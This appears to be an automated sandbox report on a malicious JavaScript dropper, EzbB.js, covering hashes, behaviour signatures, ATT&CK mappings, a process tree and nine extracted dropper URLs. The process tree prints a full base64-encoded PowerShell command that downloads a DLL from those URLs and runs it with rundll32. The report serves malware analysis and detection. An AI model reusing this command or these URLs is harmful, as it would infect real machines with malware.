5225bae347aa4e997bcbee30cbb9d6d65ec9741daa2a0358590dc7e79b26147d

General

Target

EzbB.js
Size

70KB
MD5

73d754b590ed9cd852abbc498226fe32
SHA1

110176efe121008f276dde05f221ed73667bfbbe
SHA256

5225bae347aa4e997bcbee30cbb9d6d65ec9741daa2a0358590dc7e79b26147d
SHA512

0e0a797f1adff252d27e7bd64c59faf20512a3673fe8888baf0227de72f50e0cba58ffff23ad54d9e2939d661a39e65fff389c82b896d02fd1c1fd4bdd4ff430
SSDEEP

768:6vgJpI88PYShd0C8P7dvtT5rFQdkSmGyC9zkxSqLHGxAbjrC84T9B7uvbBrao164:6WpIP50Bd1dFzxxYWdTZtYSdEJ8StyP

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://londonairportstransfer.co.uk/0OK/uo

exe.dropper

https://hergelekitap.com.tr/YZmYWp/uo

exe.dropper

https://sugerandflour-eg.com/MRdabu5/uo

exe.dropper

https://birdsofnepal.org/Tu8T/uo

exe.dropper

https://batbricks7.com/JcJp/uo

exe.dropper

https://dimopark.com/O9O/uo

exe.dropper

https://faplanning.co.uk/yQ4bTb7/uo

exe.dropper

https://hanika-inc.com/mjnPR9/uo

exe.dropper

https://solusiruang.com/fkSNnmZ/uo

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
33	1920	powershell.exe
35	1920	powershell.exe
39	1920	powershell.exe
45	1920	powershell.exe
51	1920	powershell.exe
53	1920	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4792	rundll32.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4792 set thread context of 4480	4792	rundll32.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
4792	rundll32.exe
4792	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4792	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 1920	1772	wscript.exe	86
PID 1772 wrote to memory of 1920	1772	wscript.exe	86
PID 1920 wrote to memory of 1020	1920	powershell.exe	94
PID 1920 wrote to memory of 1020	1920	powershell.exe	94
PID 1020 wrote to memory of 4792	1020	rundll32.exe	95
PID 1020 wrote to memory of 4792	1020	rundll32.exe	95
PID 1020 wrote to memory of 4792	1020	rundll32.exe	95
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98
PID 4792 wrote to memory of 4480	4792	rundll32.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\EzbB.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAYgBlAHcAcgBlAGEAawAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGwAbwBuAGQAbwBuAGEAaQByAHAAbwByAHQAcwB0AHIAYQBuAHMAZgBlAHIALgBjAG8ALgB1AGsALwAwAE8ASwAvAHUAbwAsAGgAdAB0AHAAcwA6AC8ALwBoAGUAcgBnAGUAbABlAGsAaQB0AGEAcAAuAGMAbwBtAC4AdAByAC8AWQBaAG0AWQBXAHAALwB1AG8ALABoAHQAdABwAHMAOgAvAC8AcwB1AGcAZQByAGEAbgBkAGYAbABvAHUAcgAtAGUAZwAuAGMAbwBtAC8ATQBSAGQAYQBiAHUANQAvAHUAbwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAcgBkAHMAbwBmAG4AZQBwAGEAbAAuAG8AcgBnAC8AVAB1ADgAVAAvAHUAbwAsAGgAdAB0AHAAcwA6AC8ALwBiAGEAdABiAHIAaQBjAGsAcwA3AC4AYwBvAG0ALwBKAGMASgBwAC8AdQBvACwAaAB0AHQAcABzADoALwAvAGQAaQBtAG8AcABhAHIAawAuAGMAbwBtAC8ATwA5AE8ALwB1AG8ALABoAHQAdABwAHMAOgAvAC8AZgBhAHAAbABhAG4AbgBpAG4AZwAuAGMAbwAuAHUAawAvAHkAUQA0AGIAVABiADcALwB1AG8ALABoAHQAdABwAHMAOgAvAC8AaABhAG4AaQBrAGEALQBpAG4AYwAuAGMAbwBtAC8AbQBqAG4AUABSADkALwB1AG8ALABoAHQAdABwAHMAOgAvAC8AcwBvAGwAdQBzAGkAcgB1AGEAbgBnAC4AYwBvAG0ALwBmAGsAUwBOAG4AbQBaAC8AdQBvACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAcABlAGUAZAB1AHAAIABpAG4AIAAkAGIAZQB3AHIAZQBhAGsAKQAgAHsAdAByAHkAIAB7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAUwBwAGUAZQBkAHUAcAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZQB4AG8AdABlAHIAaQBjAGEAbABsAHkAUABhAGwAZgBnAGUAeQBzAC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABlAHgAbwB0AGUAcgBpAGMAYQBsAGwAeQBQAGEAbABmAGcAZQB5AHMALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABlAHgAbwB0AGUAcgBpAGMAYQBsAGwAeQBQAGEAbABmAGcAZQB5AHMALgBkAGwAbAAsAEwAUwA4ADgAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADsAfQB9AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\exotericallyPalfgeys.dll LS88
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\exotericallyPalfgeys.dll LS88
      4⤵
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of WriteProcessMemory
      PID:4792
    - - C:\Windows\SysWOW64\WWAHost.exe
        
        "C:\Windows\SysWOW64\WWAHost.exe"
        5⤵
        
        PID:4480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujrywmlq.uh1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exotericallyPalfgeys.dll

Filesize
1.3MB

MD5
714587c61da3cd93994bbb46793f02b9

SHA1
ff521f0bd0193e705b6fde889392af23005e519b

SHA256
81ecfa3eb5f1e6e1711d08ee7465e8f371eafb75dee2332684099ae434dedd84

SHA512
abd123876f1998c9139840454ec66ab652150d3a13f25bacb257b4401c0ea9de23ecb1c1aa37fba9e9ed460c81ba94216859ae7931b46092d65104f3ad742502

Download Submit
C:\Users\Admin\AppData\Local\Temp\exotericallyPalfgeys.dll

Filesize
1.3MB

MD5
714587c61da3cd93994bbb46793f02b9

SHA1
ff521f0bd0193e705b6fde889392af23005e519b

SHA256
81ecfa3eb5f1e6e1711d08ee7465e8f371eafb75dee2332684099ae434dedd84

SHA512
abd123876f1998c9139840454ec66ab652150d3a13f25bacb257b4401c0ea9de23ecb1c1aa37fba9e9ed460c81ba94216859ae7931b46092d65104f3ad742502

Download Submit
memory/1920-147-0x00000136EE440000-0x00000136EE450000-memory.dmp

Filesize
64KB

Download
memory/1920-145-0x00000136EE440000-0x00000136EE450000-memory.dmp

Filesize
64KB

Download
memory/1920-146-0x00000136EE440000-0x00000136EE450000-memory.dmp

Filesize
64KB

Download
memory/1920-133-0x00000136EE350000-0x00000136EE372000-memory.dmp

Filesize
136KB

Download
memory/1920-144-0x00000136EE440000-0x00000136EE450000-memory.dmp

Filesize
64KB

Download
memory/1920-143-0x00000136EE440000-0x00000136EE450000-memory.dmp

Filesize
64KB

Download
memory/4480-156-0x0000000000EF0000-0x0000000000EFE000-memory.dmp

Filesize
56KB

Download
memory/4480-160-0x0000000000EF0000-0x0000000000EFE000-memory.dmp

Filesize
56KB

Download
memory/4792-153-0x0000000000F70000-0x0000000001006000-memory.dmp

Filesize
600KB

Download
memory/4792-154-0x0000000002A10000-0x0000000002A84000-memory.dmp

Filesize
464KB

Download
memory/4792-155-0x0000000002A10000-0x0000000002A84000-memory.dmp

Filesize
464KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads